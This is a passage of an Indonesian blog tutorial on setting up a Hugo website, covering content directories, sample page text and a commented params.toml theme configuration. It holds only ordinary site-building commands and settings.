lagi.&lt;/p&gt;&lt;p&gt;Masing-masing parameter jika saya jelaskan satu persatu di artikel ini, saya jamin akan jadi terlalu panjang, (mungkin) intimidatif, dan melelahkan. Padahal, di setiap baris kodenya sudah dijelaskan sebetulnya. Jadi, silakan diamati baris perbaris kode yang akan saya lampirkan. Berikut adalah isi file konfig &lt;strong&gt;&lt;code&gt;params.toml&lt;/code&gt;&lt;/strong&gt; yang saya gunakan:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sebelum itu, kita akan buat 3 buah direktori konten dengan nama seperti yang sudah kita tentukan sebelumnya di bagian menu, yaitu direktori &lt;mark&gt;content/blog&lt;/mark&gt;, &lt;mark&gt;content/tutorial&lt;/mark&gt;, dan &lt;mark&gt;content/about&lt;/mark&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content/blog&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content/tutorial&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content/about&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, mari buat sebuah file baru di masing-masing direktori tersebut.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content/blog/perkenalan.md&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# membuat file baru di direktori content/blog&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content/tutorial/miegoreng.md&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# membuat file baru di direktori content/tutorial&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content/about/about.md&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;membuat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# file baru di direktori content/about&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, silakan isi masing-masing file tersebut dengan sebuah kalimat.&lt;br /&gt;
Misalnya, kalimat yang saya gunakan untuk file &lt;mark&gt;content/blog/perkenalan.md&lt;/mark&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Halo!&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Nama&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;saya&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Wildan!&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Salam&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kenal!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalimat yang saya gunakan untuk file &lt;mark&gt;content/tutorial/miegoreng.md&lt;/mark&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Kali&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ini&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kita&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;akan&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;belajar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cara&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;memasak&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mie&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;goreng&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yang&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enak!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalimat yang saya gunakan untuk file &lt;mark&gt;content/about/about.md&lt;/mark&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Website&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ini&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dibuat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;untuk&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dokumentasi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sehari-hari&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;saya!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Perhatikan!&lt;/strong&gt; Pastikan status &lt;strong&gt;draft&lt;/strong&gt; setiap file adalah &lt;mark&gt;&lt;strong&gt;false&lt;/strong&gt;&lt;/mark&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Sehingga, nanti setiap menu sudah memiliki artikelnya masing-masing seperti berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;577&quot; src=&quot;/_astro/gif1.BAcm3qMC_1ie3FY.webp&quot; /&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;params.toml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# -- Theme Options --&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# These options control how the theme functions and allow you to&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# customize the display of your website.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [Optional] Path to the site logo image relative to assets/ folder. Displayed before the Site Title in the header. Minimum size: 64x64px.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;logo&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;/imgs/tsukasa.png&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Site description.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;description&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;A Hugo Theme&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [Optional] Copyright owner name.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;copyright&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Wildan-kun&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to enable copy button in code blocks.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enableCodeCopy&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Show the icon that switches between dark and light themes when clicked.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showThemeSwitcher&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Default theme to start from. If &quot;auto&quot;, it detects the previous preference/system theme.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;defaultTheme&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;auto&quot;&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# Valid Options: light, dark, auto&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# When enabled, highlight the current menu item in the menu bar.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;highlightCurrentMenu&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# The sections to display in the recent articles list. If not provided, the section with the most articles is used.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mainSections&lt;/span&gt;&lt;span&gt; = [&lt;/span&gt;&lt;span&gt;&quot;blog&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;tutorial&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;about&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to remove Hugo and theme attribution in the footer.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;removeAttribution&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to show anchor links in headings. Can be overridden by Page-specific `showHeadingAnchors` in its front matter.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showHeadingAnchors&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Site search engine verification tags.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [verification]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# google = &quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# bing = &quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# pinterest = &quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# yandex = &quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Homepage settings&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;homepage&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [Optional] Displayed at the top of your homepage.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;headline&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;👋 Selamat datang di websiteku!&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [Optional] Path to the profile image relative to assets/ folder. Minimum size: 200x200px.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;imgs/tsukasa.png&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Image position.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;where&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;right&quot;&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# Options: right, left, top&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to show recent items on the homepage.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showRecent&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Heading label for recent items.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showRecentLabel&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Featured&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Number of recent items to show.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showRecentItems&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to show &quot;Read more&quot; buttons at the end of each article entry.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showReadMore&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display a &quot;Show more&quot; link at the end of recent section that directs to `showMoreDest`.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showMore&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showMoreDest&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;/posts&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Article settings&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;article&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display article dates.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showDate&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display modified dates of articles.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showModDate&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display reading time of articles.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showReadingTime&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display tags mentioned in the front matter.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showTags&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display next/previous article links in the article footer.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showPagination&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to reverse the direction of next/previous article links.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;invertPagination&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display the table of contents on articles.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showToC&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to open the Table of Contents when the page is loaded.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;openToC&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Check https://mnjm.github.io../images/kayal/docs/advanced-customization/#comments&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showComments&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display breadcrumbs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showBreadcrumbs&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# List template settings&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to group articles by year.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;groupByYear&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to show dates with article listings.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showDate&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display 